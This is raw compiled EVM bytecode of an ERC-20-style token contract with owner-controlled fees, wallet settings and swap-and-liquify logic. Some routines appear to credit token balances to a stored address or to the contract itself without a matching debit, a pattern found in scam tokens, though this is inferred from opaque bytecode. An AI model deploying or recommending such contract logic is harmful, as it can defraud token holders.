565b60405180910390f35b34801561046557600080fd5b50610480600480360381019061047b9190613429565b61118a565b60405161048d9190613b3f565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190613516565b6111d3565b005b3480156104cb57600080fd5b506104d46112c3565b6040516104e19190613902565b60405180910390f35b3480156104f657600080fd5b506104ff6112ec565b005b34801561050d57600080fd5b5061051661143f565b60405161052391906139dd565b60405180910390f35b34801561053857600080fd5b506105416114d1565b60405161054e9190613b3f565b60405180910390f35b34801561056357600080fd5b5061057e60048036038101906105799190613556565b6114db565b60405161058b91906139a7565b60405180910390f35b3480156105a057600080fd5b506105bb60048036038101906105b691906135df565b6115a8565b005b3480156105c957600080fd5b506105e460048036038101906105df9190613556565b61165a565b6040516105f191906139a7565b60405180910390f35b34801561060657600080fd5b5061060f611679565b60405161061c9190613902565b60405180910390f35b34801561063157600080fd5b5061064c6004803603810190610647919061360c565b61169d565b005b34801561065a57600080fd5b50610675600480360381019061067091906135df565b61173c565b005b34801561068357600080fd5b5061068c611825565b6040516106999190613902565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190613483565b61184b565b6040516106d69190613b3f565b60405180910390f35b3480156106eb57600080fd5b506107066004803603810190610701919061360c565b6118d2565b005b34801561071457600080fd5b5061072f600480360381019061072a919061360c565b6119b5565b005b34801561073d57600080fd5b5061075860048036038101906107539190613429565b611a54565b005b34801561076657600080fd5b50610781600480360381019061077c9190613516565b611c16565b005b60606001805461079290613e8a565b80601f01602080910402602001604051908101604052809291908181526020018280546107be90613e8a565b801561080b5780601f106107e05761010080835404028352916020019161080b565b820191906000526020600020905b8154815290600101906020018083116107ee57829003601f168201915b5050505050905090565b6000610829610822611d06565b8484611d0e565b6001905092915050565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000610870848484611ed9565b506109328461087d611d06565b61092d856040518060600160405280602881526020016142e760289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108e3611d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b59092919063ffffffff16565b611d0e565b600190509392505050565b600061097e61096d600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661118a565b601b5461281990919063ffffffff16565b905090565b61098b611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0f90613a9f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900460ff16905090565b6000610b1c610a80611d06565b84610b178560076000610a91611d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b611d0e565b6001905092915050565b610b2e611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb290613a9f565b60405180910390fd5b80601e8190555050565b610bcd611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613a9f565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600042905090565b6000610cb0611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3490613a9f565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8857600080fd5b505afa158015610d9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc09190613456565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2257600080fd5b505afa158015610e36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5a9190613456565b6040518363ffffffff1660e01b8152600401610e7792919061391d565b60206040518083038186803b158015610e8f57600080fd5b505afa158015610ea3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec79190613456565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611088578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4457600080fd5b505afa158015610f58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7c9190613456565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fde57600080fd5b505afa158015610ff2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110169190613456565b6040518363ffffffff1660e01b815260040161103392919061391d565b602060405180830381600087803b15801561104d57600080fd5b505af1158015611061573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110859190613456565b91505b81602260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a6000602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111db611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90613a9f565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6112f4611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137890613a9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60606002805461144e90613e8a565b80601f016020809104026020016040519081016040528092919081815260200182805461147a90613e8a565b80156114c75780601f1061149c576101008083540402835291602001916114c7565b820191906000526020600020905b8154815290600101906020018083116114aa57829003601f168201915b5050505050905090565b6000601e54905090565b600061159e6114e8611d06565b846115998560405180606001604052806025815260200161430f6025913960076000611512611d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b59092919063ffffffff16565b611d0e565b6001905092915050565b6115b0611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490613a9f565b60405180910390fd5b80602260166101000a81548160ff02191690831515021790555050565b600061166e611667611d06565b8484611ed9565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116a5611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611732576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172990613a9f565b60405180910390fd5b80601a8190555050565b611744611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c890613a9f565b60405180910390fd5b80602260156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161181a91906139a7565b60405180910390a150565b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6118da611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e90613a9f565b60405180910390fd5b60038111156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613aff565b60405180910390fd5b80601f8190555050565b6119bd611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4190613a9f565b60405180910390fd5b80601c8190555050565b611a5c611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae090613a9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5090613a1f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611c1e611d06565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca290613a9f565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7590613b1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de590613a3f565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ecc9190613b3f565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4190613adf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb1906139ff565b60405180910390fd5b60008211611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490613abf565b60405180910390fd5b602260149054906101000a900460ff16156120245761201d8484846128c1565b90506127ae565b600061202f3061118a565b90506000601e5482101590508080156120555750602260149054906101000a900460ff16155b80156120ab5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120c35750602260159054906101000a900460ff165b156120ed57602260169054906101000a900460ff16156120e357601e5491505b6120ec82612a94565b5b612176846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b59092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000806121c46112c3565b73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161415801561223257506122026112c3565b73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b1561243b576122736064612265612256601054600b5461281990919063ffffffff16565b89612c8590919063ffffffff16565b612d0090919063ffffffff16565b9150600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123595761230360646122f56122e6601054600b5461281990919063ffffffff16565b89612c8590919063ffffffff16565b612d0090919063ffffffff16565b9150600060105411801561231a5750601a54601954105b1561235457612347606461233960105489612c8590919063ffffffff16565b612d0090919063ffffffff16565b90506123538882612d4a565b5b61243a565b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612439576123e760646123d96123ca601854600c5461281990919063ffffffff16565b89612c8590919063ffffffff16565b612d0090919063ffffffff16565b915060006018541180156123fe5750601a54601954105b156124385761242b606461241d60185489612c8590919063ffffffff16565b612d0090919063ffffffff16565b90506124378882612d4a565b5b5b5b5b60008211156126ab57600091506000600267ffffffffffffffff81111561246557612464613fa9565b5b6040519080825280602002602001820160405280156124935781602001602082028036833780820191505090505b50905088816000815181106124ab576124aa613f7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505087816001815181106124fa576124f9613f7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f89846040518363ffffffff1660e01b8152600401612593929190613b5a565b60006040518083038186803b1580156125ab57600080fd5b505afa1580156125bf573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906125e89190613596565b9050806000815181106125fe576125fd613f7a565b5b6020026020010151846126119190613d86565b935061266584600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b6126fd86600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8860405161279d9190613b3f565b60405180910390a360019450505050505b9392505050565b60008383111582906127fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f491906139dd565b60405180910390fd5b506000838561280c9190613d86565b9050809150509392505050565b600061285b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127b5565b905092915050565b60008082846128729190613ca5565b9050838110156128b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ae90613a5f565b60405180910390fd5b8091505092915050565b600061294c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b59092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129e182600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a819190613b3f565b60405180910390a3600190509392505050565b6001602260146101000a81548160ff0219169083151502179055506000612aed6002612adf601454612ad160115487612c8590919063ffffffff16565b612d0090919063ffffffff16565b612d0090919063ffffffff16565b90506000612b04828461281990919063ffffffff16565b9050612b0f81612eda565b60004790506000612b40612b2f6002601154612d0090919063ffffffff16565b60145461281990919063ffffffff16565b90506000612b7e6002612b7084612b6260115488612c8590919063ffffffff16565b612d0090919063ffffffff16565b612d0090919063ffffffff16565b90506000612ba983612b9b60135487612c8590919063ffffffff16565b612d0090919063ffffffff16565b90506000612bd282612bc4858861281990919063ffffffff16565b61281990919063ffffffff16565b90506000811115612c0a57612c09600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613165565b5b6000821115612c4057612c3f600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613165565b5b600083118015612c505750600087115b15612c6057612c5f87846131b0565b5b505050505050506000602260146101000a81548160ff02191690831515021790555050565b600080831415612c985760009050612cfa565b60008284612ca69190613d2c565b9050828482612cb59190613cfb565b14612cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cec90613a7f565b60405180910390fd5b809150505b92915050565b6000612d4283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506132bf565b905092915050565b601a5460195410612d5a57612ed6565b612dce8160066000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b60066000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e488160195461286390919063ffffffff16565b601981905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ecd9190613b3f565b60405180910390a35b5050565b6000600267ffffffffffffffff811115612ef757612ef6613fa9565b5b604051908082528060200260200182016040528015612f255781602001602082028036833780820191505090505b5090503081600081518110612f3d57612f3c613f7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612fdf57600080fd5b505afa158015612ff3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130179190613456565b8160018151811061302b5761302a613f7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061309230602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d0e565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130f6959493929190613b8a565b600060405180830381600087803b15801561311057600080fd5b505af1158015613124573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613159929190613b5a565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156131ab573d6000803e3d6000fd5b505050565b6131dd30602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d0e565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161326696959493929190613946565b6060604051808303818588803b15801561327f57600080fd5b505af1158015613293573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132b89190613639565b5050505050565b60008083118290613306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132fd91906139dd565b60405180910390fd5b50600083856133159190613cfb565b9050809150509392505050565b600061333561333084613c24565b613bff565b9050808382526020820190508285602086028201111561335857613357613fdd565b5b60005b85811015613388578161336e8882613414565b84526020840193506020830192505060018101905061335b565b5050509392505050565b6000813590506133a1816142a1565b92915050565b6000815190506133b6816142a1565b92915050565b600082601f8301126133d1576133d0613fd8565b5b81516133e1848260208601613322565b91505092915050565b6000813590506133f9816142b8565b92915050565b60008135905061340e816142cf565b92915050565b600081519050613423816142cf565b92915050565b60006020828403121561343f5761343e613fe7565b5b600061344d84828501613392565b91505092915050565b60006020828403121561346c5761346b613fe7565b5b600061347a848285016133a7565b91505092915050565b6000806040838503121561349a57613499613fe7565b5b60006134a885828601613392565b92505060206134b985828601613392565b9150509250929050565b6000806000606084860312156134dc576134db613fe7565b5b60006134ea86828701613392565b93505060206134fb86828701613392565b925050604061350c868287016133ff565b9150509250925092565b6000806040838503121561352d5761352c613fe7565b5b600061353b85828601613392565b925050602061354c858286016133ea565b9150509250929050565b6000806040838503121561356d5761356c613fe7565b5b600061357b85828601613392565b925050602061358c858286016133ff565b9150509250929050565b6000602082840312156135ac576135ab613fe7565b5b600082015167ffffffffffffffff8111156135ca576135c9613fe2565b5b6135d6848285016133bc565b91505092915050565b6000602082840312156135f5576135f4613fe7565b5b6000613603848285016133ea565b91505092915050565b60006020828403121561362257613621613fe7565b5b6000613630848285016133ff565b91505092915050565b60008060006060848603121561365257613651613fe7565b5b600061366086828701613414565b935050602061367186828701613414565b925050604061368286828701613414565b9150509250925092565b600061369883836136a4565b60208301905092915050565b6136ad81613dba565b82525050565b6136bc81613dba565b82525050565b60006136cd82613c60565b6136d78185613c83565b93506136e283613c50565b8060005b838110156137135781516136fa888261368c565b975061370583613c76565b9250506001810190506136e6565b5085935050505092915050565b61372981613dcc565b82525050565b61373881613e0f565b82525050565b61374781613e21565b82525050565b600061375882613c6b565b6137628185613c94565b9350613772818560208601613e57565b61377b81613fec565b840191505092915050565b6000613793602383613c94565b915061379e82613ffd565b604082019050919050565b60006137b6602683613c94565b91506137c18261404c565b604082019050919050565b60006137d9602283613c94565b91506137e48261409b565b604082019050919050565b60006137fc601b83613c94565b9150613807826140ea565b602082019050919050565b600061381f602183613c94565b915061382a82614113565b604082019050919050565b6000613842602083613c94565b915061384d82614162565b602082019050919050565b6000613865602983613c94565b91506138708261418b565b604082019050919050565b6000613888602583613c94565b9150613893826141da565b604082019050919050565b60006138ab601283613c94565b91506138b682614229565b602082019050919050565b60006138ce602483613c94565b91506138d982614252565b604082019050919050565b6138ed81613df8565b82525050565b6138fc81613e02565b82525050565b600060208201905061391760008301846136b3565b92915050565b600060408201905061393260008301856136b3565b61393f60208301846136b3565b9392505050565b600060c08201905061395b60008301896136b3565b61396860208301886138e4565b613975604083018761373e565b613982606083018661373e565b61398f60808301856136b3565b61399c60a08301846138e4565b979650505050505050565b60006020820190506139bc6000830184613720565b92915050565b60006020820190506139d7600083018461372f565b92915050565b600060208201905081810360008301526139f7818461374d565b905092915050565b60006020820190508181036000830152613a1881613786565b9050919050565b60006020820190508181036000830152613a38816137a9565b9050919050565b60006020820190508181036000830152613a58816137cc565b9050919050565b60006020820190508181036000830152613a78816137ef565b9050919050565b60006020820190508181036000830152613a9881613812565b9050919050565b60006020820190508181036000830152613ab881613835565b9050919050565b60006020820190508181036000830152613ad881613858565b9050919050565b60006020820190508181036000830152613af88161387b565b9050919050565b60006020820190508181036000830152613b188161389e565b9050919050565b60006020820190508181036000830152613b38816138c1565b9050919050565b6000602082019050613b5460008301846138e4565b92915050565b6000604082019050613b6f60008301856138e4565b8181036020830152613b8181846136c2565b90509392505050565b600060a082019050613b9f60008301886138e4565b613bac602083018761373e565b8181036040830152613bbe81866136c2565b9050613bcd60608301856136b3565b613bda60808301846138e4565b9695505050505050565b6000602082019050613bf960008301846138f3565b92915050565b6000613c09613c1a565b9050613c158282613ebc565b919050565b6000604051905090565b600067ffffffffffffffff821115613c3f57613c3e613fa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613cb082613df8565b9150613cbb83613df8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613cf057613cef613eed565b5b828201905092915050565b6000613d0682613df8565b9150613d1183613df8565b925082613d2157613d20613f1c565b5b828204905092915050565b6000613d3782613df8565b9150613d4283613df8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d7b57613d7a613eed565b5b828202905092915050565b6000613d9182613df8565b9150613d9c83613df8565b925082821015613daf57613dae613eed565b5b828203905092915050565b6000613dc582613dd8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613e1a82613e33565b9050919050565b6000613e2c82613df8565b9050919050565b6000613e3e82613e45565b9050919050565b6000613e5082613dd8565b9050919050565b60005b83811015613e75578082015181840152602081019050613e5a565b83811115613e84576000848401525b50505050565b60006002820490506001821680613ea257607f821691505b60208210811415613eb657613eb5613f4b565b5b50919050565b613ec582613fec565b810181811067ffffffffffffffff82111715613ee457613ee3613fa9565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f6e657756616c7565206d757374203c3d20330000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6142aa81613dba565b81146142b557600080fd5b50565b6142c181613dcc565b81146142cc57600080fd5b50565b6142d881613df8565b81146142e357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220772affd090a1e924572d40943bd3fbe3d5e19ddcb3e7ee57c81e894598f013ea64736f6c634300080700330000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000006dd4e19aaae9886baec4ecd506997371f4dd777

Deployed Bytecode

